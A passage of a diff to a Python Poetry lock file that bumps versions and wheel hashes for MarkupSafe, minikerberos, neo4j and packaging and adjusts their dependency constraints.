= "sha256:2cb8438c3cbb25e220c2ab33bb226559e7afb3baec11c4f218ffa7308603c832"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a123e330ef0853c6e822384873bef7507557d8e4a082961e1defa947aa59ba84"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e084f686b92e5b83186b07e8a17fc09e38fff551f3602b249881fec658d3eca"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d8213e09c917a951de9d09ecee036d5c7d36cb6cb7dbaece4c71a60d79fb9798"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5b02fb34468b6aaa40dfc198d813a641e3a63b98c2b05a16b9f80b7ec314185e"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0bff5e0ae4ef2e1ae4fdf2dfd5b76c75e5c2fa4132d05fc1b0dabcd20c7e28c4"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-win32.whl", hash = "sha256:6c89876f41da747c8d3677a2b540fb32ef5715f97b66eeb0c6b66f5e3ef6f59d"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:70a87b411535ccad5ef2f1df5136506a10775d267e197e4cf531ced10537bd6b"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:eaa0a10b7f72326f1372a713e73c3f739b524b3af41feb43e4921cb529f5929a"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:48032821bbdf20f5799ff537c7ac3d1fba0ba032cfc06194faffa8cda8b560ff"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a9d3f5f0901fdec14d8d2f66ef7d035f2157240a433441719ac9a3fba440b13"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88b49a3b9ff31e19998750c38e030fc7bb937398b1f78cfa599aaef92d693144"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cfad01eed2c2e0c01fd0ecd2ef42c492f7f93902e39a42fc9ee1692961443a29"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1225beacc926f536dc82e45f8a4d68502949dc67eea90eab715dea3a21c1b5f0"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3169b1eefae027567d1ce6ee7cae382c57fe26e82775f460f0b2778beaad66c0"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:eb7972a85c54febfb25b5c4b4f3af4dcc731994c7da0d8a0b4a6eb0640e1d178"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-win32.whl", hash = "sha256:8c4e8c3ce11e1f92f6536ff07154f9d49677ebaaafc32db9db4620bc11ed480f"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:6e296a513ca3d94054c2c881cc913116e90fd030ad1c656b3869762b754f5f8a"}, - {file = "markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0"}, + {file = "markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559"}, + {file = "markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419"}, + {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695"}, + {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591"}, + {file = "markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c"}, + {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f"}, + {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6"}, + {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1"}, + {file = "markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa"}, + {file = "markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8"}, + {file = "markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1"}, + {file = "markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad"}, + {file = "markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a"}, + {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50"}, + {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf"}, + {file = "markupsafe-3.0.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f"}, + {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a"}, + {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115"}, + {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a"}, + {file = "markupsafe-3.0.3-cp311-cp311-win32.whl", hash = "sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19"}, + {file = "markupsafe-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01"}, + {file = "markupsafe-3.0.3-cp311-cp311-win_arm64.whl", hash = "sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c"}, + {file = "markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e"}, + {file = "markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce"}, + {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d"}, + {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d"}, + {file = "markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a"}, + {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b"}, + {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f"}, + {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b"}, + {file = "markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d"}, + {file = "markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c"}, + {file = "markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f"}, + {file = "markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795"}, + {file = "markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219"}, + {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6"}, + {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676"}, + {file = "markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9"}, + {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1"}, + {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc"}, + {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12"}, + {file = "markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed"}, + {file = "markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5"}, + {file = "markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485"}, + {file = "markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73"}, + {file = "markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37"}, + {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19"}, + {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025"}, + {file = "markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6"}, + {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f"}, + {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb"}, + {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009"}, + {file = "markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354"}, + {file = "markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218"}, + {file = "markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287"}, + {file = "markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe"}, + {file = "markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026"}, + {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737"}, + {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97"}, + {file = "markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d"}, + {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda"}, + {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf"}, + {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe"}, + {file = "markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9"}, + {file = "markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581"}, + {file = "markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4"}, + {file = "markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab"}, + {file = "markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175"}, + {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634"}, + {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50"}, + {file = "markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e"}, + {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5"}, + {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523"}, + {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc"}, + {file = "markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d"}, + {file = "markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9"}, + {file = "markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa"}, + {file = "markupsafe-3.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:15d939a21d546304880945ca1ecb8a039db6b4dc49b2c5a400387cdae6a62e26"}, + {file = "markupsafe-3.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f71a396b3bf33ecaa1626c255855702aca4d3d9fea5e051b41ac59a9c1c41edc"}, + {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f4b68347f8c5eab4a13419215bdfd7f8c9b19f2b25520968adfad23eb0ce60c"}, + {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e8fc20152abba6b83724d7ff268c249fa196d8259ff481f3b1476383f8f24e42"}, + {file = "markupsafe-3.0.3-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:949b8d66bc381ee8b007cd945914c721d9aba8e27f71959d750a46f7c282b20b"}, + {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3537e01efc9d4dccdf77221fb1cb3b8e1a38d5428920e0657ce299b20324d758"}, + {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:591ae9f2a647529ca990bc681daebdd52c8791ff06c2bfa05b65163e28102ef2"}, + {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:a320721ab5a1aba0a233739394eb907f8c8da5c98c9181d1161e77a0c8e36f2d"}, + {file = "markupsafe-3.0.3-cp39-cp39-win32.whl", hash = "sha256:df2449253ef108a379b8b5d6b43f4b1a8e81a061d6537becd5582fba5f9196d7"}, + {file = "markupsafe-3.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:7c3fb7d25180895632e5d3148dbdc29ea38ccb7fd210aa27acbd1201a1902c6e"}, + {file = "markupsafe-3.0.3-cp39-cp39-win_arm64.whl", hash = "sha256:38664109c14ffc9e7437e86b4dceb442b0096dfe3541d7864d9cbe1da4cf36c8"}, + {file = "markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698"}, ] [[package]] @@ -1434,23 +1576,23 @@ files = [ [[package]] name = "minikerberos" -version = "0.4.4" +version = "0.4.9" description = "Kerberos manipulation library in pure Python" optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "minikerberos-0.4.4-py3-none-any.whl", hash = "sha256:f51d4283cfd318e89242dd2b467b99dc8a99ddad4fcf099367afeb1e54b7cf93"}, - {file = "minikerberos-0.4.4.tar.gz", hash = "sha256:1b07861c6c4038b66a3a755dcceb70d31bafb2b2ac681d607f5c59fd6b8547bc"}, + {file = "minikerberos-0.4.9-py3-none-any.whl", hash = "sha256:3c3a422541bc66719bd495f89cb6f9e149fba8f1499b9f550aa88cd9aa532ffa"}, + {file = "minikerberos-0.4.9.tar.gz", hash = "sha256:095a980a1976adff48c3de1f73d75efe9b39da7214dc7c891a2363240716a9e7"}, ] [package.dependencies] asn1crypto = ">=1.5.1" -asysocks = ">=0.2.8" +asysocks = ">=0.2.18" oscrypto = ">=1.3.0" six = "*" tqdm = "*" -unicrypto = ">=0.0.10" +unicrypto = ">=0.0.12" [[package]] name = "msldap" @@ -1477,23 +1619,23 @@ winacl = ">=0.1.8" [[package]] name = "neo4j" -version = "5.28.1" +version = "6.1.0" description = "Neo4j Bolt driver for Python" optional = false -python-versions = ">=3.7" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "neo4j-5.28.1-py3-none-any.whl", hash = "sha256:6755ef9e5f4e14b403aef1138fb6315b120631a0075c138b5ddb2a06b87b09fd"}, - {file = "neo4j-5.28.1.tar.gz", hash = "sha256:ae8e37a1d895099062c75bc359b2cce62099baac7be768d0eba7180c1298e214"}, + {file = "neo4j-6.1.0-py3-none-any.whl", hash = "sha256:3bd93941f3a3559af197031157220af9fd71f4f93a311db687bd69ffa417b67d"}, + {file = "neo4j-6.1.0.tar.gz", hash = "sha256:b5dde8c0d8481e7b6ae3733569d990dd3e5befdc5d452f531ad1884ed3500b84"}, ] [package.dependencies] pytz = "*" [package.extras] -numpy = ["numpy (>=1.7.0,<3.0.0)"] -pandas = ["numpy (>=1.7.0,<3.0.0)", "pandas (>=1.1.0,<3.0.0)"] -pyarrow = ["pyarrow (>=1.0.0)"] +numpy = ["numpy (>=1.21.2,<3.0.0)"] +pandas = ["numpy (>=1.21.2,<3.0.0)", "pandas (>=1.1.0,<3.0.0)"] +pyarrow = ["pyarrow (>=6.0.0,<23.0.0)"] [[package]] name = "netaddr" @@ -1531,37 +1673,36 @@ resolved_reference = "1547f535001ba568b239b8797465536759c742a3" [[package]] name = "packaging" -version = "24.2" +version = "26.0" description = "Core utilities for Python packages" optional = false python-versions = ">=3.8" groups = ["dev"] files = [ - {file = "packaging-24.2-py3-none-any.whl", hash = 